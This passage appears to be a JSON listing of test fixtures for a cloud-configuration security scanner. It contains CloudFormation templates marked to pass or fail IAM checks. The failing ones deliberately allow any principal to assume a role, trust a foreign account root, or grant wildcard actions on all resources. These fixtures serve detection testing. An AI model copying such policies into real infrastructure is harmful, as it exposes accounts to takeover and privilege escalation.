    "path": "tests/cloudformation/checks/resource/aws/example_IAMRoleAllowAssumeFromAccount/example_IAMRoleAllowAssumeFromAccount-FAILED.yml",
    "content": "AWSTemplateFormatVersion: '2010-09-09'\nDescription: Example\nResources:\n  ExecutionRole:\n      Type: AWS::IAM::Role\n      Properties:\n        AssumeRolePolicyDocument:\n          Version: \"2012-10-17\"\n          Statement:\n          - Effect: \"Allow\"\n            Principal:\n                AWS:\n                  - arn:aws:iam::123456789101:root\n            Action:\n            - \"sts:AssumeRole\""
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_IAMRoleAllowAssumeFromAccount/example_IAMRoleAllowAssumeFromAccount-PASSED-2.yml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nDescription: \"Elastic Container Service\"\n\nParameters:\n  ClusterName:\n    Type: String\n    Description: \"ECS Cluster Name\"\n\n  ContainerStopTimeout:\n    Type: Number\n    Description: \"Time in seconds that ECS should wait after issuing a docker stop before issuing a docker kill to a container\"\n    Default: 90\n    MinValue: 30\n\n  DataDogApiKey:\n    Type: String\n    Description: \"Data Dog API Key\"\n    Default: \"\"\n    NoEcho: true\n\n  EbsRootSize:\n    Type: Number\n    Description: \"The size in GB for the root EBS mount\"\n    Default: 100\n    MinValue: 30\n\n  EfsFileSystemId:\n    Type: String\n    Description: \"EFS File System ID\"\n    Default: \"\"\n\n  EfsMountPoint:\n    Type: String\n    Description: \"EFS Mount Point\"\n    Default: \"/mnt/efs\"\n\n  InfraBucketName:\n    Type: String\n    Description: \"Infrastructure Bucket Name\"\n\n  InstallDatadogAgent:\n    Type: String\n    Description: \"Specifies if the Datadog agent is to be installed\"\n    Default: \"false\"\n    AllowedValues:\n      - \"true\"\n      - \"false\"\n\n  InstanceType:\n    Type: String\n    Description: \"ECS Cluster Instance Type\"\n    Default: \"m4.xlarge\"\n\n  ContainerReservedMemoryAverage:\n    Type: Number\n    Description: \"Average of containers reserved memory\"\n    Default: 5090\n\n  MaxServicePerInstanceTypeThreshold:\n    Type: Number\n    Description: \"ECS Cluster Instance Type capacity based on - (InstanceType Memory / ContainerReservedMemoryAverage)  + 2-\"\n    Default: 10\n\n  LibratoToken:\n    Type: String\n    Description: \"Librato Token\"\n    Default: \"\"\n    NoEcho: true\n\n  LogDriver:\n    Description: \"The log driver to be used with ECS\"\n    Type: String\n    Default: none\n\n  LogentriesKey:\n    Type: String\n    Default: \"\"\n    Description: \"Logentries user-key\"\n    NoEcho: true\n\n  LoggingDrivers:\n    Type: String\n    Description: \"Logging Drivers\"\n    Default: '[\"awslogs\",\"json-file\",\"logentries\",\"fluentd\",\"splunk\"]'\n\n  LogzToken:\n    Type: String\n    Default: \"\"\n    Description: \"Logz Token\"\n    NoEcho: true\n\n  KeyPairName:\n    Type: AWS::EC2::KeyPair::KeyName\n    Description: \"SSH Key Pair Name\"\n    Default: \"lh_infrastructure\"\n\n  MaxBatchSize:\n    Type: Number\n    Default: 1\n    MinValue: 1\n\n  MaxSize:\n    Type: Number\n    Default: 60\n    MinValue: 0\n\n  MinInstancesInService:\n    Type: Number\n    Default: 1\n    MinValue: 0\n\n  MinSize:\n    Type: Number\n    Default: 1\n    MinValue: 0\n\n  NvmeMountPoint1:\n    Type: String\n    Description: \"The full path where nvme device 1 should be mounted\"\n    Default: \"\"\n\n  NvmeMountPoint2:\n    Type: String\n    Description: \"The full path where nvme device 2 should be mounted\"\n    Default: \"\"\n\n  OldStyleSGName:\n    Type: String\n    Description: \"Use the original Security group name, this option exists to allow some stacks to not have to replace the SG\"\n    Default: \"no\"\n\n  PauseTime:\n    Type: String\n    Default: PT20M\n\n  ScaleUpMemoryThreshold:\n    Type: Number\n    Description: \"Percent RAM level at which more ECS contain instances should be added by the auto scale group\"\n    Default: 80\n    MinValue: 50\n\n  SplunkForwarderPass:\n    Type: String\n    Default: \"\"\n    Description: \"Splunk Forwarder Password\"\n    NoEcho: true\n\n  SpotPrice:\n    Type: Number\n    Default: 0\n    MinValue: 0\n\n  SubnetIds:\n    Type: CommaDelimitedList\n    Description: \"VPC Subnet IDs\"\n\n  VpcId:\n    Type: AWS::EC2::VPC::Id\n    Description: \"VPC ID\"\n\nOutputs:\n  AutoScalingGroupName:\n    Description: \"Auto Scaling Group Name\"\n    Value: !Ref AutoScalingGroup\n\n  ClusterArn:\n    Description: \"Cluster ARN\"\n    Value: !GetAtt Cluster.Arn\n\n  ClusterName:\n    Description: \"Cluster Name\"\n    Value: !Ref Cluster\n\n  InstanceType:\n    Description: \"Instance Type\"\n    Value: !Ref InstanceType\n\n  LaunchConfigurationName:\n    Description: \"Launch Configuration Name\"\n    Value: !Ref LaunchConfiguration\n\n  SecurityGroupId:\n    Description: \"Security Group ID\"\n    Value: !Ref SecurityGroup\n\n  ServiceAutoScalingRoleArn:\n    Description: \"Role for ECS service auto scaling\"\n    Value: !GetAtt ServiceAutoScalingRole.Arn\n\n  ScalingLambda:\n    Description: \"Scaling Lambda\"\n    Value: !Ref ScalingLambda\n\nMappings:\n  # https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs-optimized_AMI.html\n  MachineImages:\n    us-east-1:\n      AMI: ami-0128839b21d19300e\n    us-east-2:\n      AMI: ami-0583ca2f3ce809fcb\n    us-west-1:\n      AMI: ami-0ac6a4a6e7e0949c4\n    us-west-2:\n      AMI: ami-030c9d6616d98227e\n\nConditions:\n  SpotPricePresent: !Not [!Equals [!Ref SpotPrice, 0]]\n  UseOldStyleSGName: !Equals [!Ref OldStyleSGName, \"yes\"]\n\nResources:\n  AutoScalingGroup:\n    DependsOn:\n      - Ec2Subnets\n      - EcsLifeCycle\n    Type: AWS::AutoScaling::AutoScalingGroup\n    CreationPolicy:\n      ResourceSignal:\n        Timeout: PT10M\n    UpdatePolicy:\n      AutoScalingRollingUpdate:\n        MaxBatchSize: !Ref MaxBatchSize\n        MinInstancesInService: !If\n          - SpotPricePresent\n          - 0\n          - !Ref MinInstancesInService\n        PauseTime: !Ref PauseTime\n        SuspendProcesses:\n          - HealthCheck\n          - ReplaceUnhealthy\n          - AZRebalance\n          - AlarmNotification\n          - ScheduledActions\n        WaitOnResourceSignals: true\n    Properties:\n      LaunchConfigurationName: !Ref LaunchConfiguration\n      LifecycleHookSpecificationList:\n        - DefaultResult: CONTINUE\n          HeartbeatTimeout: 1800\n          LifecycleHookName: \"instanceTerminating\"\n          LifecycleTransition: \"autoscaling:EC2_INSTANCE_TERMINATING\"\n          NotificationTargetARN: !GetAtt EcsLifeCycle.Outputs.LifecycleSns\n          RoleARN: !GetAtt EcsLifeCycle.Outputs.AutoScalingNotificationRoleArn\n      MaxSize: !Ref MaxSize\n      MinSize: !Ref MinSize\n      NotificationConfigurations:\n        - NotificationTypes:\n            - \"autoscaling:EC2_INSTANCE_TERMINATE\"\n          TopicARN: !GetAtt EcsLifeCycle.Outputs.LifecycleSns\n      TerminationPolicies: [AllocationStrategy]\n      VPCZoneIdentifier: !GetAtt Ec2Subnets.SubnetIds\n      Tags:\n        - Key: Name\n          Value: !Ref ClusterName\n          PropagateAtLaunch: true\n\n  Cluster:\n    Type: AWS::ECS::Cluster\n    Properties:\n      ClusterName: !Ref ClusterName\n\n  LaunchConfiguration:\n    Type: AWS::AutoScaling::LaunchConfiguration\n    Properties:\n      AssociatePublicIpAddress: false\n      IamInstanceProfile: !Ref InstanceProfile\n      ImageId: !FindInMap [MachineImages, !Ref \"AWS::Region\", AMI]\n      InstanceType: !Ref InstanceType\n      KeyName: !Ref KeyPairName\n      SecurityGroups:\n        - !Ref SecurityGroup\n      SpotPrice: !If\n        - SpotPricePresent\n        - !Ref SpotPrice\n        - !Ref AWS::NoValue\n      BlockDeviceMappings:\n        - DeviceName: \"/dev/xvda\"\n          Ebs:\n            VolumeSize: !Ref EbsRootSize\n            VolumeType: \"gp2\"\n      UserData:\n        Fn::Base64: !Sub |\n          #!/bin/bash\n\n          echo ECS_AVAILABLE_LOGGING_DRIVERS='${LoggingDrivers}' >> /etc/ecs/ecs.config\n          echo ECS_CLUSTER=${ClusterName} >> /etc/ecs/ecs.config\n          echo ECS_CONTAINER_STOP_TIMEOUT=${ContainerStopTimeout}s >> /etc/ecs/ecs.config\n          echo ECS_ENABLE_SPOT_INSTANCE_DRAINING=true >> /etc/ecs/ecs.config\n          echo ECS_ENGINE_TASK_CLEANUP_WAIT_DURATION=2h >> /etc/ecs/ecs.config\n          echo ECS_LOGLEVEL=info >> /etc/ecs/ecs.config\n\n          yum install -y \\\n            aws-cfn-bootstrap \\\n            chrony \\\n            git \\\n            jq \\\n            logrotate \\\n            nfs-utils \\\n            python-pip \\\n            vim \\\n            wget\n\n          pip-2.7 install awscli\n          aws configure set default.region ${AWS::Region}\n          systemctl start chronyd.service\n\n          echo 'module(load=\"imfile\")' > /etc/rsyslog.d/01-load-imfile.conf\n          echo 'input(type=\"imfile\" File=\"/var/log/ecs/ecs-agent.log\" Tag=\"ecs-agent\" Severity=\"info\" Facility=\"local7\")' > /etc/rsyslog.d/02-ecs-agent.conf\n          echo '*.*  action(type=\"omfwd\" target=\"127.0.0.1\" port=\"10514\" protocol=\"tcp\" action.resumeRetryCount=\"100\" queue.type=\"linkedList\" queue.size=\"100000\")' > /etc/rsyslog.d/03-forward-to-fluentd.conf\n          systemctl restart rsyslog.service\n\n          cat <<EOF > /etc/logrotate.d/docker.conf\n          /var/lib/docker/containers/*/*.log {\n          weekly\n          rotate 5\n          size 100M\n          compress\n          delaycompress\n          }\n          EOF\n          logrotate -d /etc/logrotate.d/docker.conf\n\n          if [ \"${EfsFileSystemId}\" != \"\" ]; then\n            mkdir -p ${EfsMountPoint}\n            chown ec2-user:ec2-user ${EfsMountPoint}\n            echo \"${EfsFileSystemId}.efs.${AWS::Region}.amazonaws.com:/ ${EfsMountPoint} nfs4 nfsvers=4.1,rsize=1048576,wsize=1048576,hard,timeo=600,retrans=2 0 0\" >> /etc/fstab\n            mount -a -t nfs4\n          fi\n\n          if [ \"${NvmeMountPoint1}\" != \"\" ]; then\n            # Additional \"instance store nvme\" starts at device index 3. 0, 1, 2 are already used by root/ebs\n            disk=\"/dev/nvme3n1\"\n            mkfs.ext4 -E nodiscard $disk\n            mkdir -p ${NvmeMountPoint1}\n            echo \"$disk ${NvmeMountPoint1} ext4 defaults,noatime,nodiscard 0 0\" >> /etc/fstab\n            mount $disk\n            chown ec2-user:ec2-user ${NvmeMountPoint1}\n          fi\n\n          if [ \"${NvmeMountPoint2}\" != \"\" ]; then\n            disk=\"/dev/nvme4n1\"\n            mkfs.ext4 -E nodiscard $disk\n            mkdir -p ${NvmeMountPoint2}\n            echo \"$disk ${NvmeMountPoint2} ext4 defaults,noatime,nodiscard 0 0\" >> /etc/fstab\n            mount $disk\n            chown ec2-user:ec2-user ${NvmeMountPoint2}\n          fi\n\n          /opt/aws/bin/cfn-init \\\n            -v \\\n            --region ${AWS::Region} \\\n            --stack ${AWS::StackName} \\\n            --resource LaunchConfiguration\n\n          /opt/aws/bin/cfn-signal \\\n            -e 0 \\\n            --region ${AWS::Region} \\\n            --stack ${AWS::StackName} \\\n            --resource AutoScalingGroup\n    Metadata:\n      AWS::CloudFormation::Init:\n        config:\n          files:\n            \"/etc/cfn/cfn-hup.conf\":\n              mode: 000400\n              owner: root\n              group: root\n              content: !Sub |\n                [main]\n                region=${AWS::Region}\n                stack=${AWS::StackId}\n            \"/etc/cfn/hooks.d/cfn-auto-reloader.conf\":\n              mode: 000400\n              owner: root\n              group: root\n              content: !Sub |\n                [cfn-auto-reloader-hook]\n                triggers=post.update\n                path=Resources.ContainerInstances.Metadata.AWS::CloudFormation::Init\n                action=/opt/aws/bin/cfn-init -v --region ${AWS::Region} --stack ${AWS::StackName} --resource LaunchConfiguration\n          services:\n            sysvinit:\n              chronyd:\n                enabled: true\n                ensureRunning: true\n              cfn-hup:\n                enabled: true\n                ensureRunning: true\n                files:\n                  - /etc/cfn/cfn-hup.conf\n                  - /etc/cfn/hooks.d/cfn-auto-reloader.conf\n\n  Ec2Subnets:\n    Type: Custom::Ec2Subnets\n    Properties:\n      InstanceType: !Ref InstanceType\n      ServiceToken: !ImportValue LambdaResourceArn\n      SubnetIds: !Ref SubnetIds\n\n  EcsLifeCycle:\n    DependsOn:\n      - Cluster\n    Type: AWS::CloudFormation::Stack\n    Properties:\n      TemplateURL: !Sub \"https://s3.amazonaws.com/${InfraBucketName}/compute/ecs-lifecycle.yml\"\n      Parameters:\n        ClusterName: !Ref ClusterName\n        ClusterArn: !GetAtt Cluster.Arn\n      Tags:\n        - Key: StackName\n          Value: !Ref AWS::StackName\n\n  InstanceProfile:\n    Type: AWS::IAM::InstanceProfile\n    DependsOn: Role\n    Properties:\n      Path: /\n      Roles:\n        - !Ref Role\n\n  Role:\n    Type: AWS::IAM::Role\n    Properties:\n      Path: /\n      RoleName: !Sub \"${ClusterName}-role-${AWS::Region}\"\n      AssumeRolePolicyDocument: |\n        {\n          \"Statement\": [\n            {\n              \"Action\": \"sts:AssumeRole\",\n              \"Effect\": \"Allow\",\n              \"Principal\": {\n                \"Service\": \"ec2.amazonaws.com\"\n              }\n            }\n          ]\n        }\n      Policies:\n        - PolicyName: !Sub \"${AWS::StackName}-${AWS::Region}\"\n          PolicyDocument: |\n            {\n              \"Statement\": [\n                {\n                  \"Action\": [\n                    \"cloudformation:*\",\n                    \"ecr:*\",\n                    \"ecr:BatchCheckLayerAvailability\",\n                    \"ecr:BatchGetImage\",\n                    \"ecr:GetAuthorizationToken\",\n                    \"ecr:GetDownloadUrlForLayer\",\n                    \"ecs:CreateCluster\",\n                    \"ecs:DeregisterContainerInstance\",\n                    \"ecs:DiscoverPollEndpoint\",\n                    \"ecs:Poll\",\n                    \"ecs:RegisterContainerInstance\",\n                    \"ecs:StartTelemetrySession\",\n                    \"ecs:Submit*\",\n                    \"ecs:UpdateContainerInstancesState\",\n                    \"logs:CreateLogGroup\",\n                    \"logs:CreateLogStream\",\n                    \"logs:DescribeLogStreams\",\n                    \"logs:PutLogEvents\",\n                    \"s3:CopyObject\",\n                    \"s3:GetObject\",\n                    \"s3:ListObjects\",\n                    \"s3:PutObject\",\n                    \"sns:Publish\"\n                  ],\n                  \"Effect\": \"Allow\",\n                  \"Resource\": \"*\"\n                }\n              ]\n            }\n\n  # ScaleDownMemoryReservationAlarm:\n  #   Type: AWS::CloudWatch::Alarm\n  #   DependsOn: ScaleDownPolicy\n  #   Properties:\n  #     ActionsEnabled: true\n  #     AlarmActions:\n  #       - !Ref ScaleDownPolicy\n  #     ComparisonOperator: LessThanOrEqualToThreshold\n  #     EvaluationPeriods: 3\n  #     MetricName: MemoryReservation\n  #     Namespace: AWS/ECS\n  #     Period: 60\n  #     Statistic: Average\n  #     Threshold: 50\n  #     Unit: Percent\n  #     Dimensions:\n  #       - Name: ClusterName\n  #         Value: !Ref ClusterName\n  #\n  # ScaleDownMemoryUtilizationAlarm:\n  #   Type: AWS::CloudWatch::Alarm\n  #   DependsOn: ScaleDownPolicy\n  #   Properties:\n  #     ActionsEnabled: true\n  #     AlarmActions:\n  #       - !Ref ScaleDownPolicy\n  #     ComparisonOperator: LessThanOrEqualToThreshold\n  #     EvaluationPeriods: 3\n  #     MetricName: MemoryUtilization\n  #     Namespace: AWS/ECS\n  #     Period: 60\n  #     Statistic: Average\n  #     Threshold: 50\n  #     Unit: Percent\n  #     Dimensions:\n  #       - Name: ClusterName\n  #         Value: !Ref ClusterName\n  #\n  # ScaleDownPolicy:\n  #   Type: AWS::AutoScaling::ScalingPolicy\n  #   DependsOn: AutoScalingGroup\n  #   Properties:\n  #     AdjustmentType: ChangeInCapacity\n  #     AutoScalingGroupName: !Ref AutoScalingGroup\n  #     EstimatedInstanceWarmup: 300\n  #     MetricAggregationType: Average\n  #     PolicyType: StepScaling\n  #     StepAdjustments:\n  #       - MetricIntervalUpperBound: 0\n  #         ScalingAdjustment: -1\n\n  ScaleUpMemoryReservationAlarm:\n    Type: AWS::CloudWatch::Alarm\n    DependsOn: ScaleUpPolicy\n    Properties:\n      ActionsEnabled: true\n      AlarmActions:\n        - !Ref ScaleUpPolicy\n      ComparisonOperator: GreaterThanOrEqualToThreshold\n      EvaluationPeriods: 1\n      MetricName: MemoryReservation\n      Namespace: AWS/ECS\n      Period: 60\n      Statistic: Average\n      Threshold: !Ref ScaleUpMemoryThreshold\n      Unit: Percent\n      Dimensions:\n        - Name: ClusterName\n          Value: !Ref ClusterName\n\n  ScaleUpMemoryUtilizationAlarm:\n    Type: AWS::CloudWatch::Alarm\n    DependsOn: ScaleUpPolicy\n    Properties:\n      ActionsEnabled: true\n      AlarmActions:\n        - !Ref ScaleUpPolicy\n      ComparisonOperator: GreaterThanOrEqualToThreshold\n      EvaluationPeriods: 2\n      MetricName: MemoryUtilization\n      Namespace: AWS/ECS\n      Period: 60\n      Statistic: Average\n      Threshold: !Ref ScaleUpMemoryThreshold\n      Unit: Percent\n      Dimensions:\n        - Name: ClusterName\n          Value: !Ref ClusterName\n\n  ScaleUpPolicy:\n    Type: AWS::AutoScaling::ScalingPolicy\n    DependsOn: AutoScalingGroup\n    Properties:\n      AdjustmentType: ChangeInCapacity\n      AutoScalingGroupName: !Ref AutoScalingGroup\n      EstimatedInstanceWarmup: 300\n      MetricAggregationType: Average\n      PolicyType: StepScaling\n      StepAdjustments:\n        - MetricIntervalLowerBound: 0\n          MetricIntervalUpperBound: 15\n          ScalingAdjustment: 1\n        - MetricIntervalLowerBound: 15\n          ScalingAdjustment: 2\n\n  SecurityGroup:\n    Type: AWS::EC2::SecurityGroup\n    Properties:\n      GroupDescription: !If\n        - UseOldStyleSGName\n        - \"Allow tcp for all ports\"\n        - !Sub \"${ClusterName} ECS sg rules\"\n      VpcId: !Ref VpcId\n      SecurityGroupIngress:\n        - CidrIp: \"10.36.4.0/22\"\n          Description: SSH from lh-utility us-east-1\n          FromPort: 22\n          IpProtocol: tcp\n          ToPort: 22\n        - CidrIp: \"10.39.4.0/22\"\n          Description: SSH from lh-utility us-west-2\n          FromPort: 22\n          IpProtocol: tcp\n          ToPort: 22\n        - CidrIp: \"10.36.4.0/22\"\n          Description: lh-utility us-east-1 to ECS dynamic host port range\n          IpProtocol: tcp\n          FromPort: 32768\n          ToPort: 60999\n        - CidrIp: \"10.39.4.0/22\"\n          Description: lh-utility us-west-2 to ECS dynamic host port range\n          IpProtocol: tcp\n          FromPort: 32768\n          ToPort: 60999\n      SecurityGroupEgress:\n        - CidrIp: \"0.0.0.0/0\"\n          IpProtocol: \"-1\"\n\n  ScheduledRuleScalingLambda:\n    Type: AWS::Events::Rule\n    Properties:\n      Description: \"ScheduledRule\"\n      ScheduleExpression: \"cron(0 0 * * ? *)\"\n      State: \"ENABLED\"\n      Targets:\n        -\n          Arn:\n            Fn::GetAtt:\n              - \"ScalingLambda\"\n              - \"Arn\"\n          Id: \"ScalingLambda\"\n\n  PermissionForEventsToInvokeLambda:\n    Type: AWS::Lambda::Permission\n    Properties:\n      FunctionName:\n        Ref: \"ScalingLambda\"\n      Action: \"lambda:InvokeFunction\"\n      Principal: \"events.amazonaws.com\"\n      SourceArn:\n        Fn::GetAtt:\n          - \"ScheduledRuleScalingLambda\"\n          - \"Arn\"\n\n  ServiceAutoScalingRole:\n    Type: AWS::IAM::Role\n    Properties:\n      RoleName: !Sub \"${ClusterName}-service-autoscaling-role\"\n      AssumeRolePolicyDocument:\n        Statement:\n          - Effect: Allow\n            Principal:\n              Service: [application-autoscaling.amazonaws.com]\n            Action: [\"sts:AssumeRole\"]\n      Policies:\n        - PolicyName: !Sub \"${ClusterName}-service-auto-scaling-policy\"\n          PolicyDocument:\n            Version: \"2012-10-17\"\n            Statement:\n              - Effect: Allow\n                Action:\n                  - ecs:DescribeServices\n                  - ecs:UpdateService\n                  - cloudwatch:PutMetricAlarm\n                  - cloudwatch:DescribeAlarms\n                  - cloudwatch:DeleteAlarms\n                Resource:\n                  - \"*\"\n\n  ScalingLambdaRole:\n    Type: AWS::IAM::Role\n    Properties:\n      AssumeRolePolicyDocument:\n        Statement:\n        - Effect: Allow\n          Principal:\n            Service: [lambda.amazonaws.com]\n          Action: ['sts:AssumeRole']\n      ManagedPolicyArns:\n        - arn:aws:iam::aws:policy/service-role/AWSLambdaBasicExecutionRole\n      Path: /\n      Policies:\n        - PolicyName: ecs-scaling\n          PolicyDocument:\n            Statement:\n            - Effect: Allow\n              Action:\n                - ec2:DescribeInstances\n                - ecs:ListContainerInstances\n                - ecs:UpdateContainerInstancesState\n                - ecs:DescribeContainerInstances\n                - ecs:DeregisterContainerInstance\n                - autoscaling:DescribeAutoScalingGroups\n                - autoscaling:SetDesiredCapacity\n                - cloudwatch:PutMetricData\n              Resource: '*'\n\n  ScalingLambda:\n    Type: \"AWS::Lambda::Function\"\n    Properties:\n      Code:\n        ZipFile: !Sub |\n          CONTAINER_MAX_CPU = 128\n          CONTAINER_MAX_MEM = int(${ContainerReservedMemoryAverage})\n          INSTANCE_MAX_SERVICES = int(${MaxServicePerInstanceTypeThreshold})\n\n          import boto3\n          import copy\n          import datetime\n          import dateutil\n          ecs = boto3.client('ecs')\n          cw = boto3.client('cloudwatch')\n          asg = boto3.client('autoscaling')\n\n          def lambda_handler(event, context):\n              cluster_name = \"${Cluster}\"\n              autoscaling_name = '${AutoScalingGroup}'\n\n              autoscaling_group = asg.describe_auto_scaling_groups(\n                  AutoScalingGroupNames=[\n                      autoscaling_name,\n                  ],\n              )\n\n              print('Calculating schedulable containers for cluster %s' % cluster_name)\n              instance_list = ecs.list_container_instances(cluster=cluster_name)\n              instances = ecs.describe_container_instances(cluster=cluster_name, containerInstances=instance_list['containerInstanceArns'])\n              asg_desired_capacity = int(autoscaling_group['AutoScalingGroups'][0]['DesiredCapacity'])\n\n              schedulable_containers = 0\n\n              for instance in instances['containerInstances']:\n                  remaining_resources = {resource['name']: resource for resource in instance['remainingResources']}\n\n                  containers_by_cpu = int(remaining_resources['CPU']['integerValue'] / CONTAINER_MAX_CPU)\n                  containers_by_mem = int(remaining_resources['MEMORY']['integerValue'] / CONTAINER_MAX_MEM)\n\n                  schedulable_containers += min(containers_by_cpu, containers_by_mem)\n\n                  print('Cluster: %s, Instance: %s, CPU Containers: %s, MEMORY Containers: %s, Schedulable containers: %s' % (cluster_name, instance['ec2InstanceId'], containers_by_cpu, containers_by_mem, min(containers_by_cpu, containers_by_mem)))\n\n              print('Schedulable containers overall: %s' % schedulable_containers)\n              print('Each instance can hold %s services' % INSTANCE_MAX_SERVICES)\n\n              if schedulable_containers > INSTANCE_MAX_SERVICES:\n                oversubscribed = int(schedulable_containers / INSTANCE_MAX_SERVICES)\n                print('Oversubscribed instances: %s' % oversubscribed)\n                new_capacity = asg_desired_capacity - oversubscribed\n                desired_cap = asg.set_desired_capacity(\n                    AutoScalingGroupName=autoscaling_name,\n                    DesiredCapacity=new_capacity,\n                    HonorCooldown=True,\n                )\n                print('Desired capacity scaled down to: %s' % new_capacity)\n                return {\n                  'Desired capacity scaled down to' : new_capacity\n                }\n              else:\n                print('Capacity is ok, no change')\n                return {\n                  'Capacity is ok' : asg_desired_capacity\n                }\n\n      Handler: index.lambda_handler\n      Role: !GetAtt ScalingLambdaRole.Arn\n      Runtime: python3.9\n      Timeout: 10"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_IAMRoleAllowAssumeFromAccount/example_IAMRoleAllowAssumeFromAccount-PASSED.yml",
    "content": "AWSTemplateFormatVersion: '2010-09-09'\nDescription: Example\nResources:\n  ExecutionRole:\n      Type: AWS::IAM::Role\n      Properties:\n        AssumeRolePolicyDocument:\n          Version: \"2012-10-17\"\n          Statement:\n          - Effect: \"Allow\"\n            Principal:\n              Service:\n              - ec2.amazonaws.com\n            Action:\n              - 'sts:AssumeRole'\n  ClusterAccessRole:\n    Type: AWS::IAM::Role\n    Properties:\n      Path: /\n      RoleName: ClusterAccessRole\n      AssumeRolePolicyDocument:\n        Fn::Sub:\n          - |\n            {\n              \"Statement\": [\n                {\n                  \"Action\": \"sts:AssumeRole\",\n                  \"Effect\": \"Allow\",\n                  \"Principal\": {\n                    \"Service\": \"ec2.amazonaws.com\"\n                  }\n                },\n                {\n                    \"Effect\": \"Allow\",\n                    \"Principal\": {\n                      \"Federated\": \"arn:aws:iam::${AWS::AccountId}:oidc-provider/oidc.eks.${AWS::Region}.amazonaws.com/id/123456\"\n                    },\n                    \"Action\": \"sts:AssumeRoleWithWebIdentity\",\n                    \"Condition\": {\n                      \"StringEquals\": {\n                        \"${clusterid}\": \"1234\"\n                      }\n                    }\n                  }\n              ]    \n            }\n          -\n            clusterid: clusterID\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_IAMRoleAllowsPublicAssume/FAILED-2.yml",
    "content": "AWSTemplateFormatVersion: '2010-09-09'\nDescription: Example\nResources:\n  AWSStarPrincipal2:\n      Type: AWS::IAM::Role\n      Properties:\n        AssumeRolePolicyDocument:\n          |\n          {\n            \"Statement\": [\n              {\n                \"Action\": \"sts:AssumeRole\",\n                \"Effect\": \"Allow\",\n                \"Principal\": {\n                  \"AWS\": \"*\"\n                }\n              }\n            ]\n          }\n\n  AWSStarPrincipalInList2:\n      Type: AWS::IAM::Role\n      Properties:\n        AssumeRolePolicyDocument:\n          |\n          {\n            \"Statement\": [\n              {\n                \"Action\": \"sts:AssumeRole\",\n                \"Effect\": \"Allow\",\n                \"Principal\": {\n                  \"AWS\": [\"arn:aws:iam::123456789101:root\", \"*\"]\n                }\n              }\n            ]\n          }\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_IAMRoleAllowsPublicAssume/FAILED.yml",
    "content": "AWSTemplateFormatVersion: '2010-09-09'\nDescription: Example\nResources:\n  AWSStarPrincipal:\n      Type: AWS::IAM::Role\n      Properties:\n        AssumeRolePolicyDocument:\n          Version: \"2012-10-17\"\n          Statement:\n          - Effect: \"Allow\"\n            Principal:\n                AWS:\n                  - \"*\"\n            Action:\n            - \"sts:AssumeRole\"\n  AWSStarPrincipalInList:\n      Type: AWS::IAM::Role\n      Properties:\n        AssumeRolePolicyDocument:\n          Version: \"2012-10-17\"\n          Statement:\n          - Effect: \"Allow\"\n            Principal:\n                AWS:\n                  - \"arn:aws:iam::123456789101:root\"\n                  - \"*\"\n            Action:\n            - \"sts:AssumeRole\"\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_IAMRoleAllowsPublicAssume/PASSED-2.yml",
    "content": "AWSTemplateFormatVersion: '2010-09-09'\nDescription: Example\nResources:\n  ServiceRole2:\n      Type: AWS::IAM::Role\n      Properties:\n        AssumeRolePolicyDocument: |\n          {\n            \"Statement\": [\n              {\n                \"Action\": \"sts:AssumeRole\",\n                \"Effect\": \"Allow\",\n                \"Principal\": {\n                  \"Service\": \"ec2.amazonaws.com\"\n                }\n              }\n            ]\n          }\n  DenyIgnore2:\n      Type: AWS::IAM::Role\n      Properties:\n        AssumeRolePolicyDocument: |\n          {\n           \"Statement\": [\n             {\n               \"Action\": \"sts:AssumeRole\",\n               \"Effect\": \"Deny\",\n               \"Principal\": {\n                 \"AWS\": \"*\"\n               }\n             }\n           ]\n          }\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_IAMRoleAllowsPublicAssume/PASSED.yml",
    "content": "AWSTemplateFormatVersion: '2010-09-09'\nDescription: Example\nResources:\n  ServiceRole:\n      Type: AWS::IAM::Role\n      Properties:\n        AssumeRolePolicyDocument:\n          Version: \"2012-10-17\"\n          Statement:\n          - Effect: \"Allow\"\n            Principal:\n              Service:\n              - ec2.amazonaws.com\n            Action:\n              - 'sts:AssumeRole'\n  DenyIgnore:\n      Type: AWS::IAM::Role\n      Properties:\n        AssumeRolePolicyDocument:\n          Version: \"2012-10-17\"\n          Statement:\n          - Effect: \"Deny\"\n            Principal:\n                AWS:\n                  - \"*\"\n            Action:\n            - \"sts:AssumeRole\"\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_IAMStarActionPolicyDocument/cfn_bad_iam_pass.yaml",
    "content": "---\nAWSTemplateFormatVersion: \"2010-09-09\"\nDescription: >\n  Test bad IAM policies\nResources:\n  rIamPolicy:\n    Type: AWS::IAM::Policy\n    Properties:\n      PolicyDocument:\n      - Fn::If:\n        - cCondition\n        - Statement: {}\n        - Statement: []\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_IAMStarActionPolicyDocument/iam_group.fail.json",
    "content": "{\n  \"AWSTemplateFormatVersion\": \"2010-09-09\",\n  \"Description\": \"Insecure Inline policy on Group\",\n  \"Resources\": {\n    \"mygroup\": {\n      \"Type\": \"AWS::IAM::Group\",\n      \"Properties\": {\n        \"Path\": \"/myapplication/\",\n        \"Policies\": [\n          {\n            \"PolicyName\": \"fails\",\n            \"PolicyDocument\": {\n              \"Statement\": [\n                {\n                  \"Action\": [\n                    \"s3:HeadBucket\",\n                    \"*\"\n                  ],\n                  \"Effect\": \"Allow\",\n                  \"Resource\": [\n                    \"arn:aws:s3:::b1\",\n                    \"arn:aws:s3:::b1/*\",\n                    \"*\"\n                  ],\n                  \"Sid\": \"\"\n                }\n              ],\n              \"Version\": \"2012-10-17\"\n            }\n          }\n        ]\n      }\n    }\n  }\n}"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_IAMStarActionPolicyDocument/iam_group.pass.json",
